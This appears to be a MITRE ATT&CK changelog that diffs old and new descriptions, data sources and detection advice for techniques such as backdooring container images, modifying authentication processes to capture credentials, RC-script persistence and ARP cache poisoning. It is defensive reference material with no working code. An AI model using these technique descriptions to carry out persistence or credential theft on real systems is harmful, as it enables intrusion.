| external_references | {'source_name': 'Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass', 'description': 'Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.', 'url': 'https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | macOS |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may implant cloud container images with maliciou | t | 1 | Adversaries may implant cloud or container images with malic |
| > | s code to establish persistence. Amazon Web Service (AWS) Am | > | ious code to establish persistence after gaining access to a | ||
| > | azon Machine Images (AMI), Google Cloud Platform (GCP) Image | > | n environment. Amazon Web Services (AWS) Amazon Machine Imag | ||
| > | s, and Azure Images as well as popular container runtimes su | > | es (AMIs), Google Cloud Platform (GCP) Images, and Azure Ima | ||
| > | ch as Docker can be implanted or backdoored. Depending on ho | > | ges as well as popular container runtimes such as Docker can | ||
| > | w the infrastructure is provisioned, this could provide pers | > | be implanted or backdoored. Unlike [Upload Malware](https:/ | ||
| > | istent access if the infrastructure provisioning tool is ins | > | /attack.mitre.org/techniques/T1608/001), this technique focu | ||
| > | tructed to always use the latest image.(Citation: Rhino Labs | > | ses on adversaries implanting an image in a registry within | ||
| > | Cloud Image Backdoor Technique Sept 2019) A tool has been | > | a victim’s environment. Depending on how the infrastructure | ||
| > | developed to facilitate planting backdoors in cloud containe | > | is provisioned, this could provide persistent access if the | ||
| > | r images.(Citation: Rhino Labs Cloud Backdoor September 2019 | > | infrastructure provisioning tool is instructed to always use | ||
| > | ) If an attacker has access to a compromised AWS instance, a | > | the latest image.(Citation: Rhino Labs Cloud Image Backdoor | ||
| > | nd permissions to list the available container images, they | > | Technique Sept 2019) A tool has been developed to facilita | ||
| > | may implant a backdoor such as a [Web Shell](https://attack. | > | te planting backdoors in cloud container images.(Citation: R | ||
| > | mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud | > | hino Labs Cloud Backdoor September 2019) If an attacker has | ||
| > | Image Backdoor Technique Sept 2019) Adversaries may also imp | > | access to a compromised AWS instance, and permissions to lis | ||
| > | lant Docker images that may be inadvertently used in cloud d | > | t the available container images, they may implant a backdoo | ||
| > | eployments, which has been reported in some instances of cry | > | r such as a [Web Shell](https://attack.mitre.org/techniques/ | ||
| > | ptomining botnets.(Citation: ATT Cybersecurity Cryptocurrenc | > | T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Techni | ||
| > | y Attacks on Cloud) | > | que Sept 2019) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 22:47:34.137000+00:00 | 2021-04-12 18:28:27.948000+00:00 |
| name | Implant Container Image | Implant Internal Image |
| description | Adversaries may implant cloud container images with malicious code to establish persistence. Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud) | Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) |
| x_mitre_data_sources[0] | File monitoring | Image: Image Creation |
| x_mitre_data_sources[1] | Asset management | Image: Image Modification |
| x_mitre_detection | Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. | Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. |
| x_mitre_platforms[0] | GCP | IaaS |
| x_mitre_platforms[1] | Azure | Containers |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team | |
| x_mitre_contributors | Vishwas Manral, McAfee |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ATT Cybersecurity Cryptocurrency Attacks on Cloud', 'description': 'Doman, C. & Hegel, T.. (2019, March 14). Making it Rain - Cryptocurrency Mining Attacks in the Cloud. Retrieved October 3, 2019.', 'url': 'https://www.alienvault.com/blogs/labs-research/making-it-rain-cryptocurrency-mining-attacks-in-the-cloud'} | |
| x_mitre_platforms | AWS |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify authentication mechanisms and process | t | 1 | Adversaries may modify authentication mechanisms and process |
| > | es to access user credentials or enable otherwise unwarrante | > | es to access user credentials or enable otherwise unwarrante | ||
| > | d access to accounts. The authentication process is handled | > | d access to accounts. The authentication process is handled | ||
| > | by mechanisms, such as the Local Security Authentication Ser | > | by mechanisms, such as the Local Security Authentication Ser | ||
| > | ver (LSASS) process and the Security Accounts Manager (SAM) | > | ver (LSASS) process and the Security Accounts Manager (SAM) | ||
| > | on Windows or pluggable authentication modules (PAM) on Unix | > | on Windows, pluggable authentication modules (PAM) on Unix-b | ||
| > | -based systems, responsible for gathering, storing, and vali | > | ased systems, and authorization plugins on MacOS systems, re | ||
| > | dating credentials. Adversaries may maliciously modify a p | > | sponsible for gathering, storing, and validating credentials | ||
| > | art of this process to either reveal credentials or bypass a | > | . By modifying an authentication process, an adversary may b | ||
| > | uthentication mechanisms. Compromised credentials or access | > | e able to authenticate to a service or system without using | ||
| > | may be used to bypass access controls placed on various reso | > | [Valid Accounts](https://attack.mitre.org/techniques/T1078). | ||
| > | urces on systems within the network and may even be used for | > | Adversaries may maliciously modify a part of this process | ||
| > | persistent access to remote systems and externally availabl | > | to either reveal credentials or bypass authentication mechan | ||
| > | e services, such as VPNs, Outlook Web Access and remote desk | > | isms. Compromised credentials or access may be used to bypas | ||
| > | top. | > | s access controls placed on various resources on systems wit | ||
| > | hin the network and may even be used for persistent access t | ||||
| > | o remote systems and externally available services, such as | ||||
| > | VPNs, Outlook Web Access and remote desktop. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Chris Ross @xorrior'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 02:41:11.743000+00:00 | 2021-10-17 14:48:33.990000+00:00 |
| description | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows or pluggable authentication modules (PAM) on Unix-based systems, responsible for gathering, storing, and validating credentials. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. | Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078). Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. |
| external_references[3]['source_name'] | TechNet Audit Policy | Xorrior Authorization Plugins |
| external_references[3]['description'] | Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. | Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021. |
| external_references[3]['url'] | https://technet.microsoft.com/en-us/library/dn487457.aspx | https://xorrior.com/persistent-credential-theft/ |
| x_mitre_data_sources[0] | File monitoring | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Authentication logs | Process: OS API Execution |
| x_mitre_data_sources[2] | API monitoring | Process: Process Access |
| x_mitre_data_sources[3] | Windows Registry | File: File Modification |
| x_mitre_data_sources[4] | Process monitoring | File: File Creation |
| x_mitre_data_sources[5] | DLL monitoring | Module: Module Load |
| x_mitre_detection | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). | Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages) and correlate then investigate the DLL files these files reference.
Password filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)
Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)
Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.
Monitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)
Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} | |
| external_references | {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'} | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 02:41:11.550000+00:00 | 2021-04-20 20:11:00.356000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Modification |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 20:59:05.209000+00:00 | 2021-04-20 20:11:55.147000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Creation |
| x_mitre_data_sources[1] | DLL monitoring | Module: Module Load |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification |
Current version: 2.0
Version changed from: 1.0 → 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-13 21:23:01.370000+00:00 | 2021-10-17 14:48:33.580000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | File: File Modification |
| x_mitre_data_sources[1] | File monitoring | Logon Session: Logon Session Creation |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'} |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use rc.common automatically executed at boot | t | 1 | Adversaries may establish persistence by modifying RC script |
| > | initialization to establish persistence. During the boot pr | > | s which are executed during a Unix-like system’s startup. Th | ||
| > | ocess, macOS executes <code>source /etc/rc.common</code>, wh | > | ese files allow system administrators to map and start custo | ||
| > | ich is a shell script containing various utility functions. | > | m services at startup for different run levels. RC scripts r | ||
| > | This file also defines routines for processing command-line | > | equire root privileges to modify. Adversaries can establish | ||
| > | arguments and for gathering system settings and is thus reco | > | persistence by adding a malicious binary path or shell comm | ||
| > | mmended to include in the start of Startup Item Scripts (Cit | > | ands to <code>rc.local</code>, <code>rc.common</code>, and o | ||
| > | ation: Startup Items). In macOS and OS X, this is now a depr | > | ther RC scripts specific to the Unix-like distribution.(Cita | ||
| > | ecated mechanism in favor of [Launch Agent](https://attack.m | > | tion: IranThreats Kittens Dec 2017)(Citation: Intezer Hidden | ||
| > | itre.org/techniques/T1543/001) and [Launch Daemon](https://a | > | Wasp Map 2019) Upon reboot, the system executes the script's | ||
| > | ttack.mitre.org/techniques/T1543/004) but is currently still | > | contents as root, resulting in persistence. Adversary abus | ||
| > | used. Adversaries can use the rc.common file as a way to h | > | e of RC scripts is especially effective for lightweight Unix | ||
| > | ide code for persistence that will execute on each reboot as | > | -like distributions using the root user as default, such as | ||
| > | the root user. (Citation: Methods of Mac Malware Persistenc | > | IoT or embedded systems.(Citation: intezer-kaiji-malware) S | ||
| > | e) | > | everal Unix-like systems have moved to Systemd and deprecate | ||
| > | d the use of RC scripts. This is now a deprecated mechanism | ||||
| > | in macOS in favor of [Launchd](https://attack.mitre.org/tech | ||||
| > | niques/T1053/004). (Citation: Apple Developer Doco Archive L | ||||
| > | aunchd)(Citation: Startup Items) This technique can be used | ||||
| > | on Mac OS X Panther v10.3 and earlier versions which still e | ||||
| > | xecute the RC scripts.(Citation: Methods of Mac Malware Pers | ||||
| > | istence) To maintain backwards compatibility some systems, s | ||||
| > | uch as Ubuntu, will execute the RC scripts if they exist wit | ||||
| > | h the correct file permissions.(Citation: Ubuntu Manpage sys | ||||
| > | temd rc) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 23:46:20.433000+00:00 | 2021-04-27 19:58:01.927000+00:00 |
| name | Rc.common | RC Scripts |
| description | Adversaries may use rc.common automatically executed at boot initialization to establish persistence. During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated mechanism in favor of [Launch Agent](https://attack.mitre.org/techniques/T1543/001) and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) but is currently still used.
Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user. (Citation: Methods of Mac Malware Persistence) | Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.
Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.
Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)
Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) |
| external_references[1]['source_name'] | Startup Items | IranThreats Kittens Dec 2017 |
| external_references[1]['description'] | Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. | Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020. |
| external_references[1]['url'] | https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html | https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/ |
| external_references[2]['source_name'] | Methods of Mac Malware Persistence | Intezer HiddenWasp Map 2019 |
| external_references[2]['description'] | Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. | Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019. |
| external_references[2]['url'] | https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf | https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/ |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_detection | The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior. | Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.
Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'intezer-kaiji-malware', 'description': 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.', 'url': 'https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/'} | |
| external_references | {'source_name': 'Apple Developer Doco Archive Launchd', 'description': 'Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'} | |
| external_references | {'source_name': 'Startup Items', 'description': 'Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.', 'url': 'https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html'} | |
| external_references | {'source_name': 'Methods of Mac Malware Persistence', 'description': 'Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'} | |
| external_references | {'source_name': 'Ubuntu Manpage systemd rc', 'description': 'Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.', 'url': 'http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | Linux |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may poison Address Resolution Protocol (ARP) cac | t | 1 | Adversaries may poison Address Resolution Protocol (ARP) cac |
| > | hes to position themselves between the communication of two | > | hes to position themselves between the communication of two | ||
| > | or more networked devices. This activity may be used to enab | > | or more networked devices. This activity may be used to enab | ||
| > | le follow-on behaviors such as [Network Sniffing](https://at | > | le follow-on behaviors such as [Network Sniffing](https://at | ||
| > | tack.mitre.org/techniques/T1040) or [Transmitted Data Manipu | > | tack.mitre.org/techniques/T1040) or [Transmitted Data Manipu | ||
| > | lation](https://attack.mitre.org/techniques/T1565/002). The | > | lation](https://attack.mitre.org/techniques/T1565/002). The | ||
| > | ARP protocol is used to resolve IPv4 addresses to link laye | > | ARP protocol is used to resolve IPv4 addresses to link laye | ||
| > | r addresses, such as a media access control (MAC) address.(C | > | r addresses, such as a media access control (MAC) address.(C | ||
| > | itation: RFC826 ARP) Devices in a local network segment comm | > | itation: RFC826 ARP) Devices in a local network segment comm | ||
| > | unicate with each other by using link layer addresses. If a | > | unicate with each other by using link layer addresses. If a | ||
| > | networked device does not have the link layer address of a p | > | networked device does not have the link layer address of a p | ||
| > | articular networked device, it may send out a broadcast ARP | > | articular networked device, it may send out a broadcast ARP | ||
| > | request to the local network to translate the IP address to | > | request to the local network to translate the IP address to | ||
| > | a MAC address. The device with the associated IP address dir | > | a MAC address. The device with the associated IP address dir | ||
| > | ectly replies with its MAC address. The networked device tha | > | ectly replies with its MAC address. The networked device tha | ||
| > | t made the ARP request will then use as well as store that i | > | t made the ARP request will then use as well as store that i | ||
| > | nformation in its ARP cache. An adversary may passively wai | > | nformation in its ARP cache. An adversary may passively wai | ||
| > | t for an ARP request to poison the ARP cache of the requesti | > | t for an ARP request to poison the ARP cache of the requesti | ||
| > | ng device. The adversary may reply with their MAC address, t | > | ng device. The adversary may reply with their MAC address, t | ||
| > | hus deceiving the victim by making them believe that they ar | > | hus deceiving the victim by making them believe that they ar | ||
| > | e communicating with the intended networked device. For the | > | e communicating with the intended networked device. For the | ||
| > | adversary to poison the ARP cache, their reply must be faste | > | adversary to poison the ARP cache, their reply must be faste | ||
| > | r than the one made by the legitimate IP address owner. Adve | > | r than the one made by the legitimate IP address owner. Adve | ||
| > | rsaries may also send a gratuitous ARP reply that maliciousl | > | rsaries may also send a gratuitous ARP reply that maliciousl | ||
| > | y announces the ownership of a particular IP address to all | > | y announces the ownership of a particular IP address to all | ||
| > | the devices in the local network segment. The ARP protocol | > | the devices in the local network segment. The ARP protocol | ||
| > | is stateless and does not require authentication. Therefore, | > | is stateless and does not require authentication. Therefore, | ||
| > | devices may wrongly add or update the MAC address of the IP | > | devices may wrongly add or update the MAC address of the IP | ||
| > | address in their ARP cache.(Citation: Sans ARP Spoofing Aug | > | address in their ARP cache.(Citation: Sans ARP Spoofing Aug | ||
| > | 2003)(Citation: Cylance Cleaver) Adversaries may use ARP c | > | 2003)(Citation: Cylance Cleaver) Adversaries may use ARP c | ||
| > | ache poisoning as a means to man-in-the-middle (MiTM) networ | > | ache poisoning as a means to intercept network traffic. This | ||
| > | k traffic. This activity may be used to collect and/or relay | > | activity may be used to collect and/or relay data such as c | ||
| > | data such as credentials, especially those sent over an ins | > | redentials, especially those sent over an insecure, unencryp | ||
| > | ecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug | > | ted protocol.(Citation: Sans ARP Spoofing Aug 2003) | ||
| > | 2003) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 15:22:11.604000+00:00 | 2021-07-28 01:04:39.141000+00:00 |
| description | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache. An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver) Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003) |
| external_references[3]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.3
Version changed from: 2.2 → 2.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:10:18.260000+00:00 | 2021-10-13 14:05:15.038000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | User Account: User Account Metadata |
| x_mitre_data_sources[1] | Office 365 account logs | Command: Command Execution |
| x_mitre_data_sources[2] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | Process monitoring | File: File Access |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | Azure AD | IaaS |
| x_mitre_platforms[5] | AWS | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
